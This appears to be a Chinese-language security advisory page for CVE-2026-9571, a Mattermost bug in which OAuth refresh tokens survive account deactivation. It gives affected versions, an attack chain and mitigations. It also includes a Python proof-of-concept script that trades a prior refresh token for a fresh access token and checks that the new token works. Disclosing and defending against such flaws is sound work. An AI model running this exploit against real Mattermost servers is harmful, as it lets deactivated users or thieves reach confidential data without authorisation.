IPBUF安全漏洞报告
English
CVE-2026-9571 CVSS 5.9 中危

CVE-2026-9571 Mattermost OAuth刷新令牌未失效漏洞

披露日期: 2026-07-13

漏洞信息

漏洞编号
CVE-2026-9571
漏洞类型
身份认证缺陷/OAuth令牌管理不当
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Mattermost

相关标签

MattermostOAuth刷新令牌身份认证缺陷令牌管理CWE-613CWE-287账户停用访问控制绕过中危漏洞

漏洞概述

CVE-2026-9571是Mattermost协作平台中的一个OAuth令牌管理安全漏洞。该漏洞源于Mattermost在用户账户被停用(deactivation)时,未能正确使已颁发的OAuth刷新令牌(refresh token)失效。受影响版本包括Mattermost 11.7.x系列中11.7.2及之前的版本、11.6.x系列中11.6.4及之前的版本,以及10.11.x系列中10.11.19及之前的版本。

该漏洞的CVSS 3.1评分为5.9分,属于中等严重等级。其攻击向量为网络(AV:N),攻击复杂度较高(AC:H),需要高权限(PR:H),无需用户交互(UI:N)。在影响方面,该漏洞对机密性(C:H)和完整性(I:H)具有高影响,但对可用性(A:N)无影响。

该漏洞由Mattermost官方的负责任披露渠道([email protected])报告,对应的Mattermost安全公告ID为MMSA-2026-00680。Mattermost作为一个广泛使用的企业级团队协作和消息传递平台,此漏洞可能允许已停用账户的用户或持有有效刷新令牌的攻击者继续获取新的功能性访问令牌,从而绕过账户停用的安全控制措施,对企业数据安全和访问控制构成潜在威胁。

技术细节

该漏洞的核心问题在于Mattermost的OAuth 2.0实现中缺少对刷新令牌生命周期管理的正确处理。具体而言,当管理员停用某个用户账户时,系统应当同时撤销该用户所有的有效令牌(包括访问令牌access token和刷新令牌refresh token),但Mattermost在受影响版本中仅停用了账户本身,而未同步清理或撤销该用户已颁发的OAuth刷新令牌。

在OAuth 2.0协议的标准流程中,刷新令牌(refresh token)用于在访问令牌过期后获取新的访问令牌,避免用户频繁重新认证。正常的安全实践要求,当用户账户被停用、密码被更改或令牌被显式撤销时,所有关联的刷新令牌应当立即失效。

漏洞利用方式如下:
1. 攻击者(或已停用的用户)持有一个在账户停用前获取的有效OAuth刷新令牌;
2. 攻击者向Mattermost的OAuth刷新令牌授权端点(refresh token grant endpoint)发送刷新请求,携带该有效刷新令牌;
3. 由于服务端未在账户停用时撤销刷新令牌,服务端验证通过并颁发新的功能性访问令牌;
4. 攻击者使用新获取的访问令牌绕过账户停用限制,继续访问Mattermost平台中的受保护资源和数据。

此漏洞的攻击复杂度较高(AC:H),因为攻击者需要事先获取有效的刷新令牌,这通常需要通过钓鱼、令牌窃取或其他前期攻击手段获得。

攻击链分析

STEP 1
步骤1:获取OAuth刷新令牌
攻击者通过合法OAuth授权流程或通过钓鱼、令牌窃取等手段,获取目标Mattermost用户的有效OAuth刷新令牌(refresh token)。
STEP 2
步骤2:目标用户账户被停用
管理员出于安全考虑(如员工离职、账户泄露等)停用了该用户的Mattermost账户,期望阻止该用户继续访问系统。
STEP 3
步骤3:利用未失效的刷新令牌
由于Mattermost在账户停用时未撤销刷新令牌,攻击者向OAuth刷新令牌授权端点发送刷新请求,携带此前获取的有效刷新令牌。
STEP 4
步骤4:获取新的访问令牌
服务端验证刷新令牌有效后,颁发新的功能性访问令牌(access token),绕过了账户停用的安全控制。
STEP 5
步骤5:未授权访问系统资源
攻击者使用新获取的访问令牌访问Mattermost平台中的受保护资源、消息历史、文件等敏感数据,造成数据泄露和未授权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9571 PoC - Mattermost OAuth Refresh Token Not Invalidated on Deactivation # This PoC demonstrates how a deactivated user's refresh token can still be used # to obtain new access tokens after account deactivation. import requests import json TARGET_URL = "https://mattermost.example.com" CLIENT_ID = "your_oauth_client_id" CLIENT_SECRET = "your_oauth_client_secret" REFRESH_TOKEN = "previously_obtained_refresh_token" # Token obtained before deactivation def exploit_refresh_token_after_deactivation(): """ Attempt to use a refresh token after the associated user account has been deactivated. In vulnerable versions, this should succeed despite the account being deactivated. """ token_endpoint = f"{TARGET_URL}/oauth/access_token" payload = { "grant_type": "refresh_token", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "refresh_token": REFRESH_TOKEN } headers = { "Content-Type": "application/x-www-form-urlencoded", "Accept": "application/json" } response = requests.post(token_endpoint, data=payload, headers=headers) if response.status_code == 200: token_data = response.json() print("[+] VULNERABLE: Successfully obtained new access token after deactivation!") print(f"[+] New Access Token: {token_data.get('access_token', 'N/A')}") print(f"[+] New Refresh Token: {token_data.get('refresh_token', 'N/A')}") print(f"[+] Expires In: {token_data.get('expires_in', 'N/A')} seconds") # Verify the new token is functional by making an API call access_token = token_data.get('access_token') api_headers = {"Authorization": f"Bearer {access_token}"} user_response = requests.get(f"{TARGET_URL}/api/v4/users/me", headers=api_headers) if user_response.status_code == 200: user_info = user_response.json() print(f"[+] Token is FUNCTIONAL - Authenticated as: {user_info.get('username', 'N/A')}") return True else: print(f"[-] NOT VULNERABLE: Token refresh failed with status {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-9571 - Mattermost OAuth Refresh Token Exploit") print("=" * 60) exploit_refresh_token_after_deactivation()

影响范围

Mattermost 11.7.0 <= 11.7.2
Mattermost 11.6.0 <= 11.6.4
Mattermost 10.11.0 <= 10.11.19

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员采取以下临时缓解措施:1)手动撤销所有已停用用户关联的OAuth刷新令牌和访问令牌;2)审查OAuth客户端配置,确保令牌撤销机制到位;3)监控异常的令牌刷新活动,特别是来自已停用账户的令牌使用记录;4)限制OAuth客户端的权限范围,遵循最小权限原则;5)定期轮换OAuth客户端密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表